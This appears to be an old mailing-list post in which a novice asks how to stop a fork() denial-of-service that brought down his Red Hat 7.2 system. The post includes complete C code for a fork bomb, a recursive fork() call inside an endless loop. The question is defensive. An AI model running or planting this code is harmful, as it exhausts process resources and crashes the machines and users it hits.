fork() DoS?

[Little, John]

I'm really not a programmer, just learning, but was able to bring the system
to it's knees.  This is a redhat 7.2 kernel.  Is there anyway of preventing
this?

#include <unistd.h>

void do_fork()
{
   pid_t p;

   p = fork();
   do_fork();
}

void main()
{
   for(;;)
      do_fork();
}